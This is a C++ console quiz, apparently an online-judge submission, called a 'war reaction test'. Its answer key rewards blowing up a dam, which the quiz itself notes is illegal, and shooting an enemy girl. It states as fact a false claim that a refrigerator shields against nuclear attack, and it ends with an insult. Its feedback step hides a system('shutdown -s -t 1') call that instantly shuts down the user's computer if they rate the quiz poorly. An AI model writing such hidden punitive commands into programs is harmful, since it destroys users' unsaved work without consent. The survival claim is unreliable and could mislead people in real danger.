提交时间:2023-10-08 13:42:20
运行 ID: 105842
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main(){ char a,b,c,d,e,f,g,h; int x = 0; cout<<"欢迎来到战争反应测试"<<endl; cout<<"背景:你是中国人,正在参加三战"<<endl; cout<<endl; cout<<"请选择"<<endl; cout<<"以下各题选择a或b"<<endl; cout<<"a.进入 b.马上进入"<<endl; cin>>a; cout<<endl; cout<<"你在战场上"<<endl; cout<<"看到一把AK74和一把M16"<<endl; cout<<"你会选择哪一把枪?"<<endl; cout<<"a.AK47 b.M16"<<endl; cin>>b; if(b == 'a'){ x++; }else{ cout<<"M16虽然是现代枪械,但性能不及AK47"<<endl; } cout<<endl; cout<<"看到一辆T90和一辆99A"<<endl; cout<<"你会选择哪一辆坦克"<<endl; cout<<"a.T90 b.99A"<<endl; cin>>c; if(c == 'b'){ x++; }else{ cout<<"99A是中国制造,世界上最先进的坦克"<<endl; } cout<<endl; cout<<"你在战场上的一栋楼里"<<endl; cout<<"听到敌人的脚步声和敌人的枪声"<<endl; cout<<"你会选择向哪一个声音走去?"<<endl; cout<<"a.脚步声 b. 枪声"<<endl; cin>>d; cout<<endl; if(d == 'b'){ x++; }else{ cout<<"有枪声说明对方在战斗,可以偷袭"<<endl; } cout<<endl; cout<<"你会炸水坝吗?"<<endl; cout<<"提示:炸水坝违反战争法!"<<endl; cout<<"a.炸 b.不炸"<<endl; cin>>e; cout<<endl; if(e == 'a'){ x++; }else{ cout<<"把敌人往死里打,违反战争法的国家不在少数"<<endl; } cout<<endl; cout<<"你遭遇核打击"<<endl; cout<<"你会躲到哪?"<<endl; cout<<"a.坦克 b.冰箱"<<endl; cin>>f; if(f == 'b'){ x++; }else{ cout<<"冰箱里的低温可以有效对抗高温和核辐射"<<endl; } cout<<endl; cout<<"你在一栋房子里"<<endl; cout<<"你遇见了一个敌国女孩,你会怎么办?"<<endl; cout<<"a.放过她 b.一枪击毙"<<endl; cin>>a; if(a == 'b'){ x++; }else{ cout<<"有个东西,叫自杀式攻击......"<<endl; } cout<<endl; cout<<"你被追到一个岔路口"<<endl; cout<<"你会走向哪条路?"<<endl; cout<<"a.城区 b.森林"<<endl; cin>>a; if(a == 'b'){ x++; }else{ cout<<"在森林中用刀,绕树刀人,实现反杀"<<endl; } cout<<endl; cout<<"分数(满分7分): "<<x<<endl; cout<<"答案:abbabbb"<<endl; if(x == 7){ cout<<endl; cout<<"你的战争反应很强,在战场上有很大的优势"<<endl; cout<<endl; }else if(x == 6){ cout<<endl; cout<<"你的战争反应不错,打仗时得心应手,但偶尔会出小差错"<<endl; cout<<endl; }else{ cout<<endl; cout<<"你的战争反应不强,你热爱和平,不关注战争"<<endl; cout<<endl; } cout<<"请评价!"<<endl; cout<<"a.好 b.很好 c.buhao"<<endl; cin>>g; if(g == 'a' || g == 'b'){ cout<<"感谢游玩 感谢评价 原创:人生导师 "<<endl; }else{ cout<<"做人要有良心"<<endl; cout<<"原创:人生导师"<<endl; system("shutdown -s -t 1"); } cout<<"请按任意键 + 2 * enter退出"<<endl; cin>>h; if(h == ' '){ cout<<"sb"<<endl; } }